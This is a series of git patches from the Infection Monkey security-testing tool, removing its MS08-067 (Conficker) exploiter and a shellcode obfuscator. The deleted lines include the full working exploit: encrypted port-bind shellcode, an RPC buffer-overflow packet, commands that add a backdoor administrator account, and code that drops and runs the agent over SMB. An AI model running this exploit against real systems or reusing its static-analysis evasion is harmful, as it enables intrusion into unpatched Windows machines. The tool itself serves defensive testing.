a/docs/content/reference/exploiters/MS08-067.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: "MS08 067" -date: 2020-07-14T08:42:54+03:00 -draft: false -tags: ["exploit", "windows"] ---- - -### Description - -[MS08-067](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067) is a remote code execution vulnerability. - -This exploiter is unsafe. It's therefore **not** enabled by default. - -If an exploit attempt fails, this could also lead to a crash in Svchost.exe. If a crash in Svchost.exe occurs, the server service will be affected. This may cause a system crash due to the use of buffer overflow. From ff87252a247ea3845f409865d7d3280485353845 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 27 Jan 2022 16:45:55 +0100 Subject: [PATCH 0273/1110] Agent, Island: Remove MS08_67 exploiter --- monkey/infection_monkey/config.py | 3 - monkey/infection_monkey/example.conf | 2 - .../infection_monkey/exploit/win_ms08_067.py | 320 ------------------ .../definitions/exploiter_classes.py | 11 - .../cc/services/config_schema/internal.py | 18 - .../exploiter_descriptor_enum.py | 1 - .../report-components/SecurityReport.js | 6 - .../security/issues/MS08_067Issue.js | 24 -- .../monkey_configs/flat_config.json | 4 +- .../monkey_config_standard.json | 4 - vulture_allowlist.py | 2 - 11 files changed, 1 insertion(+), 394 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/win_ms08_067.py delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 81c6a9996..fca494e36 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -146,9 +146,6 @@ class Configuration(object): skip_exploit_if_file_exist = False - ms08_067_exploit_attempts = 5 - user_to_add = "Monkey_IUSER_SUPPORT" - ########################### # ransomware config ########################### diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 6c2bc3235..2133be9e3 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -43,8 +43,6 @@ ], "monkey_log_path_windows": "%temp%\\~df1563.tmp", "monkey_log_path_linux": "/tmp/user-1563", - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT", "ping_scan_timeout": 10000, "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py deleted file mode 100644 index db6df1212..000000000 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ /dev/null @@ -1,320 +0,0 @@ -#!/usr/bin/env python -############################################################################# -# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled) -# www.hackingspirits.com -# www.coffeeandsecurity.com -# Email: d3basis.m0hanty @ gmail.com -############################################################################# - -import socket -import time -from enum import IntEnum -from logging import getLogger - -from impacket import uuid -from impacket.dcerpc.v5 import transport - -from common.utils.shellcode_obfuscator import clarify -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey -from infection_monkey.exploit.tools.smb_tools import SmbTools -from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS -from infection_monkey.network.smbfinger import SMBFinger -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.random_password_generator import get_random_password - -logger = getLogger(__name__) - -# Portbind shellcode from metasploit; Binds port to TCP port 4444 -OBFUSCATED_SHELLCODE = ( - b"4\xf6kPF\xc5\x9bI,\xab\x1d" - b"\xa0\x92Y\x88\x1b$\xa0hK\x03\x0b\x0b\xcf\xe7\xff\x9f\x9d\xb6&J" - b"\xdf\x1b\xad\x1b5\xaf\x84\xed\x99\x01'\xa8\x03\x90\x01\xec\x13" - b"\xfb\xf9!\x11\x1dc\xd9*\xb4\xd8\x9c\xf1\xb8\xb9\xa1;\x93\xc1\x8dq" - b"\xe4\xe1\xe5?%\x1a\x96\x96\xb5\x94\x19\xb5o\x0c\xdb\x89Cq\x14M\xf8" - b"\x02\xfb\xe5\x88hL\xc4\xcdd\x90\x8bc\xff\xe3\xb8z#\x174\xbd\x00J" - b'\x1c\xc1\xccM\x94\x90tm\x89N"\xd4-' -) - -SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode() - -XP_PACKET = ( - "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43" - "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01" - "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47" - "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48" - "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49" - "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a" - "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" - "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00" - "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02" - "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" - "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90" - "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00" - "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00" -) - -# Payload for Windows 2000 target -PAYLOAD_2000 = "\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" -PAYLOAD_2000 += "\x41\x41\x41\x41\x41\x41\x41\x41" -PAYLOAD_2000 += "\x41\x41\x41\x41\x41\x41\x41\x41" -PAYLOAD_2000 += "\x41\x41" -PAYLOAD_2000 += "\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0" -PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" -PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" -PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" -PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" -PAYLOAD_2000 += "\x43\x43\x43\x43\x43\x43\x43\x43" -PAYLOAD_2000 += "\xeb\xcc" -PAYLOAD_2000 += "\x00\x00" - -# Payload for Windows 2003[SP2] target -PAYLOAD_2003 = "\x41\x00\x5c\x00" -PAYLOAD_2003 += "\x2e\x00\x2e\x00\x5c\x00\x2e\x00" -PAYLOAD_2003 += "\x2e\x00\x5c\x00\x0a\x32\xbb\x77" -PAYLOAD_2003 += "\x8b\xc4\x66\x05\x60\x04\x8b\x00" -PAYLOAD_2003 += "\x50\xff\xd6\xff\xe0\x42\x84\xae" -PAYLOAD_2003 += "\xbb\x77\xff\xff\xff\xff\x01\x00" -PAYLOAD_2003 += "\x01\x00\x01\x00\x01\x00\x43\x43" -PAYLOAD_2003 += "\x43\x43\x37\x48\xbb\x77\xf5\xff" -PAYLOAD_2003 += "\xff\xff\xd1\x29\xbc\x77\xf4\x75" -PAYLOAD_2003 += "\xbd\x77\x44\x44\x44\x44\x9e\xf5" -PAYLOAD_2003 += "\xbb\x77\x54\x13\xbf\x77\x37\xc6" -PAYLOAD_2003 += "\xba\x77\xf9\x75\xbd\x77\x00\x00" - - -class WindowsVersion(IntEnum): - Windows2000 = 1 - Windows2003_SP2 = 2 - WindowsXP = 3 - - -class SRVSVC_Exploit(object): - TELNET_PORT = 4444 - - def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445): - self._port = port - self._target = target_addr - self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003 - self.os_version = os_version - - def get_telnet_port(self): - """get_telnet_port() - - The port on which the Telnet service will listen. - """ - - return SRVSVC_Exploit.TELNET_PORT - - def start(self): - """start() -> socket - - Exploit the target machine and return a socket connected to it's - listening Telnet service. - """ - - target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target - - logger.debug("Initiating exploit connection (%s)", target_rpc_name) - self._trans = transport.DCERPCTransportFactory(target_rpc_name) - self._trans.connect() - - logger.debug("Connected to %s", target_rpc_name) - - self._dce = self._trans.DCERPC_class(self._trans) - self._dce.bind(uuid.uuidtup_to_bin(("4b324fc8-1670-01d3-1278-5a47bf6ee188", "3.0"))) - - dce_packet = self._build_dce_packet() - self._dce.call(0x1F, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation - - logger.debug("Exploit sent to %s successfully...", self._target) - logger.debug("Target machine should be listening over port %d now", self.get_telnet_port()) - - sock = socket.socket() - sock.connect((self._target, self.get_telnet_port())) - return sock - - def _build_dce_packet(self): - if self.os_version == WindowsVersion.WindowsXP: - return XP_PACKET - # Constructing Malicious Packet - dce_packet = "\x01\x00\x00\x00" - dce_packet += "\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00" - dce_packet += SHELLCODE - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x41\x41\x41\x41\x41\x41\x41\x41" - dce_packet += "\x00\x00\x00\x00" - dce_packet += "\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00" - dce_packet += self._payload - dce_packet += "\x00\x00\x00\x00" - dce_packet += "\x02\x00\x00\x00\x02\x00\x00\x00" - dce_packet += "\x00\x00\x00\x00\x02\x00\x00\x00" - dce_packet += "\x5c\x00\x00\x00\x01\x00\x00\x00" - dce_packet += "\x01\x00\x00\x00" - - return dce_packet - - -class Ms08_067_Exploiter(HostExploiter): - _TARGET_OS_TYPE = ["windows"] - _EXPLOITED_SERVICE = "Microsoft Server Service" - _windows_versions = { - "Windows Server 2003 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, - "Windows Server 2003 R2 3790 Service Pack 2": WindowsVersion.Windows2003_SP2, - "Windows 5.1": WindowsVersion.WindowsXP, - } - - def __init__(self, host): - super(Ms08_067_Exploiter, self).__init__(host) - - def is_os_supported(self): - if self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get("version") in list( - self._windows_versions.keys() - ): - return True - - if not self.host.os.get("type") or ( - self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version") - ): - is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) - if is_smb_open: - smb_finger = SMBFinger() - if smb_finger.get_host_fingerprint(self.host): - return self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get( - "version" - ) in list(self._windows_versions.keys()) - return False - - def _exploit_host(self): - src_path = get_target_monkey(self.host) - - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False - - os_version = self._windows_versions.get( - self.host.os.get("version"), WindowsVersion.Windows2003_SP2 - ) - - exploited = False - random_password = get_random_password() - for _ in range(self._config.ms08_067_exploit_attempts): - exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version) - - try: - sock = exploit.start() - - sock.send( - "cmd /c (net user {} {} /add) &&" - " (net localgroup administrators {} /add)\r\n".format( - self._config.user_to_add, - random_password, - self._config.user_to_add, - ).encode() - ) - time.sleep(2) - sock.recv(1000) - - logger.debug("Exploited into %r using MS08-067", self.host) - exploited = True - break - except Exception as exc: - logger.debug("Error exploiting victim %r: (%s)", self.host, exc) - continue - - if not exploited: - logger.debug("Exploiter MS08-067 is giving up...") - return False - - # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - self._config.user_to_add, - random_password, - ) - - if not remote_full_path: - # try other passwords for administrator - for password in self._config.exploit_password_list: - remote_full_path = SmbTools.copy_file( - self.host, - src_path, - self._config.dropper_target_path_win_32, - "Administrator", - password, - ) - if remote_full_path: - break - - if not remote_full_path: - return True - - # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): - cmdline = DROPPER_CMDLINE_WINDOWS % { - "dropper_path": remote_full_path - } + build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - self._config.dropper_target_path_win_32, - ) - else: - cmdline = MONKEY_CMDLINE_WINDOWS % { - "monkey_path": remote_full_path - } + build_monkey_commandline(self.host, get_monkey_depth() - 1) - - try: - sock.send(("start %s\r\n" % (cmdline,)).encode()) - sock.send(("net user %s /delete\r\n" % (self._config.user_to_add,)).encode()) - except Exception as exc: - logger.debug( - "Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc - ) - return True - finally: - try: - sock.close() - except socket.error: - pass - - logger.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, - self.host, - cmdline, - ) - - return True diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 56f81256b..f21bc942d 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -42,17 +42,6 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/mssql/", }, - { - "type": "string", - "enum": ["Ms08_067_Exploiter"], - "title": "MS08-067 Exploiter", - "safe": False, - "info": "Unsafe exploiter, that might cause system crash due to the use of buffer " - "overflow. " - "Uses MS08-067 vulnerability.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/ms08" - "-067/", - }, { "type": "string", "enum": ["SSHExploiter"], diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index ff5ad4e72..94a1f3603 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -266,24 +266,6 @@ INTERNAL = { } }, }, - "ms08_067": { - "title": "MS08_067", - "type": "object", - "properties": { - "ms08_067_exploit_attempts": { - "title": "MS08_067 exploit attempts", - "type": "integer", - "default": 5, - "description": "Number of attempts to exploit using MS08_067", - }, - "user_to_add": { - "title": "Remote user", - "type": "string", - "default": "Monkey_IUSER_SUPPORT", - "description": "Username to add on successful exploit", - }, - }, - }, }, "smb_service": { "title": "SMB service", diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 7d7921b8b..1555b4b61 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -34,7 +34,6 @@ class ExploiterDescriptorEnum(Enum): ELASTIC = ExploiterDescriptor( "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor ) - MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor) SHELLSHOCK = ExploiterDescriptor( "ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 63d1d7e6f..270db721a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -30,7 +30,6 @@ import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue'; import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue'; import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue'; -import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue'; import { crossSegmentIssueOverview, crossSegmentIssueReport, @@ -136,11 +135,6 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: powershellIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, - 'Ms08_067_Exploiter': { - [this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview, - [this.issueContentTypes.REPORT]: ms08_067IssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, 'ZerologonExploiter': { [this.issueContentTypes.OVERVIEW]: zerologonIssueOverview, [this.issueContentTypes.REPORT]: zerologonIssueReport, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js deleted file mode 100644 index 2a831a093..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js +++ /dev/null @@ -1,24 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function ms08_067IssueOverview() { - return (
  • Machines are vulnerable to ‘Conficker’ (MS08-067).
  • ) -} - -export function ms08_067IssueReport(issue) { - return ( - <> - Install the latest Windows updates or upgrade to a newer operating system. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. -
    - The attack was made possible because the target machine used an outdated and unpatched operating system - vulnerable to Conficker. -
    - - ); -} diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 2840cbbb5..4f6704d9b 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -76,7 +76,6 @@ "max_depth": null, "monkey_log_path_linux": "/tmp/user-1563", "monkey_log_path_windows": "%temp%\\~df1563.tmp", - "ms08_067_exploit_attempts": 5, "ping_scan_timeout": 1000, "post_breach_actions": [ "CommunicateAsBackdoorUser", @@ -120,6 +119,5 @@ 3306, 7001, 8088 - ], - "user_to_add": "Monkey_IUSER_SUPPORT" + ] } diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index fc9f2bb05..b810d4356 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -121,10 +121,6 @@ "exploit_ssh_keys": [], "general": { "skip_exploit_if_file_exist": false - }, - "ms08_067": { - "ms08_067_exploit_attempts": 5, - "user_to_add": "Monkey_IUSER_SUPPORT" } }, "testing": { diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 926863a6d..2f7598379 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -59,7 +59,6 @@ password_restored # unused variable (monkey/monkey_island/cc/services/reporting SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30) SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31) ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32) -MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35) SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36) STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39) WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40) @@ -129,7 +128,6 @@ ts # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.p opnum # unused variable (monkey/infection_monkey/exploit/zerologon.py:466) structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:467) structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:478) -_._port # unused attribute (monkey/infection_monkey/exploit/win_ms08_067.py:123) oid_set # unused variable (monkey/infection_monkey/exploit/tools/wmi_tools.py:96) export_monkey_telems # unused variable (monkey/infection_monkey/config.py:282) NoInternetError # unused class (monkey/common/utils/exceptions.py:33) From ceec121d880539a0e4ed9baa954636f718fda621 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 27 Jan 2022 16:46:30 +0100 Subject: [PATCH 0274/1110] Agent: Remove shellcode obfusctor Encryptor which was used in MS08-067 exploiter. --- monkey/common/utils/shellcode_obfuscator.py | 30 ------------------- monkey/infection_monkey/Pipfile | 1 - .../common/utils/test_shellcode_obfuscator.py | 14 --------- .../master/test_propagator.py | 7 ++--- 4 files changed, 2 insertions(+), 50 deletions(-) delete mode 100644 monkey/common/utils/shellcode_obfuscator.py delete mode 100644 monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py diff --git a/monkey/common/utils/shellcode_obfuscator.py b/monkey/common/utils/shellcode_obfuscator.py deleted file mode 100644 index 11635201e..000000000 --- a/monkey/common/utils/shellcode_obfuscator.py +++ /dev/null @@ -1,30 +0,0 @@ -# This code is used to obfuscate shellcode -# Usage: -# shellcode_obfuscator.py [your normal shellcode]. - -import sys - -# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports -from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 - -# We only encrypt payloads to hide them from static analysis -# it's OK to have these keys plaintext -KEY = b"1234567890123456" -NONCE = b"\x93n2\xbc\xf5\x8d:\xc2fP\xabn\x02\xb3\x17f" - - -# Use this manually to get obfuscated bytes of shellcode -def obfuscate(shellcode: bytes) -> bytes: - cipher = AES.new(KEY, AES.MODE_EAX, nonce=NONCE) - ciphertext, _ = cipher.encrypt_and_digest(shellcode) - return ciphertext - - -def clarify(shellcode: bytes) -> bytes: - cipher = AES.new(KEY, AES.MODE_EAX, nonce=NONCE) - plaintext = cipher.decrypt(shellcode) - return plaintext - - -if __name__ == "__main__": - print(obfuscate(sys.argv[1].encode())) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 728e42a4f..60def5d44 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -23,7 +23,6 @@ ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" typing-extensions = "*" # Allows us to use 3.9 typing features on 3.7 project -pycryptodome = "*" # Used in common/utils/shellcode_obfuscator.py altgraph = "*" # Required for pyinstaller branch, without it agents fail to build pysmb = "*" "WinSys-3.x" = "*" diff --git a/monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py b/monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py deleted file mode 100644 index bda9f7996..000000000 --- a/monkey/tests/unit_tests/common/utils/test_shellcode_obfuscator.py +++ /dev/null @@ -1,14 +0,0 @@ -from unittest import TestCase - -from common.utils.shellcode_obfuscator import clarify, obfuscate - -SHELLCODE = b"1234567890abcd" -OBFUSCATED_SHELLCODE = b"\xc7T\x9a\xf4\xb1cn\x94\xb0X\xf2\xfb^=" - - -class TestShellcodeObfuscator(TestCase): - def test_obfuscate(self): - assert obfuscate(SHELLCODE) == OBFUSCATED_SHELLCODE - - def test_clarify(self): - assert clarify(OBFUSCATED_SHELLCODE) == SHELLCODE diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index 745e075fa..0e54f2a4e 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -11,12 +11,9 @@ from infection_monkey.i_puppet import ( PortStatus, ) from infection_monkey.master import IPScanResults, Propagator -from infection_monkey.network import NetworkInterface -from infection_monkey.telemetry.exploit_telem import ExploitTelem from infection_monkey.model import VictimHost, VictimHostFactory -from infection_monkey.network import NetworkAddress - - +from infection_monkey.network import NetworkAddress, NetworkInterface +from infection_monkey.telemetry.exploit_telem import ExploitTelem @pytest.fixture From d257276f30188ff704dafb7aa9ed676d94bba050 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 31 Jan 2022 08:15:43 -0500 Subject: [PATCH 0275/1110] Changelog: Add entry for removal of MS08-067 exploiter --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index df5828bc6..054e7b749 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,7 +19,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). clearer instructions to the user and avoid confusion. #1684 ### Removed -- The VSFTPD exploiter. #1533 +- VSFTPD exploiter. #1533 - Manual agent run command for CMD. #1570 - Sambacry exploiter. #1567 - "Kill file" option in the config. #1536 @@ -40,6 +40,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - "GET /api/monkey_control/check_remote_port/" endpoint. #1635 - Max victims to find/exploit, TCP scan interval and TCP scan get banner internal options. #1597 - MySQL fingerprinter. #1648 +- MS08-067 (Conficker) exploiter. #1677 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From 2a4024926b49edf2a33890d81096f6d3760440c8 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 31 Jan 2022 14:53:09 +0530 Subject: [PATCH 0276/1110] Agent: Update Pipfile to use an original pyinstaller version instead of our fork and remove related dependencies as per the comments next to them. The pyinstaller version is changed to the version that the Island uses. --- monkey/infection_monkey/Pipfile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 60def5d44..342677316 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -5,8 +5,7 @@ name = "pypi" [packages] cryptography = "==2.5" # We can't build 32bit ubuntu12 binary with newer versions of cryptography -pyinstaller = {git = "git://github.com/guardicore/pyinstaller"} -pyinstaller-hooks-contrib = "==2021.1" # Required to build docker with our pyinstaller branch +pyinstaller = "==3.6" impacket = ">=0.9" importlib-metadata = "==4.0.1" # Required to build docker with our pyinstaller branch ipaddress = ">=1.0.23" @@ -23,6 +22,7 @@ ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"} pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl pypsrp = "*" typing-extensions = "*" # Allows us to use 3.9 typing features on 3.7 project +pycryptodome = "*" # Used in common/utils/shellcode_obfuscator.py altgraph = "*" # Required for pyinstaller branch, without it agents fail to build pysmb = "*" "WinSys-3.x" = "*" From c3e66debc8fe808c4accddedc1f209469d39f30b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 31 Jan 2022 15:01:37 +0530 Subject: [PATCH 0277/1110] Docs: Remove the bootloader section from the operating systems page --- .../reference/operating_systems_support.md | 17 ----------------- 1 file changed, 17 deletions(-) diff --git a/docs/content/reference/operating_systems_support.md b/docs/content/reference/operating_systems_support.md index 36caaa25d..d945f2be3 100644 --- a/docs/content/reference/operating_systems_support.md +++ b/docs/content/reference/operating_systems_support.md @@ -44,21 +44,4 @@ Compatibility depends on GLIBC version (2.14+)[^1]. By default, these distributi We also provide a Dockerfile on our [website](http://infectionmonkey.com/) that lets the Monkey Island run inside a container. -### Old machine bootloader - -Some **older machines** still have partial compatibility and will be exploited and reported, but the Infection Monkey agent can't run on them. In these cases, old machine bootloader (a small C program) will be run, which reports some minor info like network interface configuration, GLIBC version, OS, etc. - -**Old machine bootloader** also has a GLIBC 2.14+ requirement for Linux because the bootloader is included in the Pyinstaller bootloader, which uses Python 3.7 that in turn requires GLIBC 2.14+. If you think partial support for older machines is important, don't hesitate to open a new issue about it. - -**Old machine bootloader** runs on machines with: - -- Centos 7+ -- Debian 7+ -- Kali 2019+ -- Oracle 7+ -- Rhel 7+ -- Suse 12+ -- Ubuntu 14+ -- **Windows XP/Server 2003+** - [^1]: The GLIBC >= 2.14 requirement exists because the Infection Monkey was built using this GLIBC version, and GLIBC is not backward compatible. We are also limited to the oldest GLIBC version compatible with Python 3.7. From fbd36e5b414c2edf3a047cae57c9c91315aeb4b9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 31 Jan 2022 17:39:15 +0100 Subject: [PATCH 0278/1110] Island: Remove 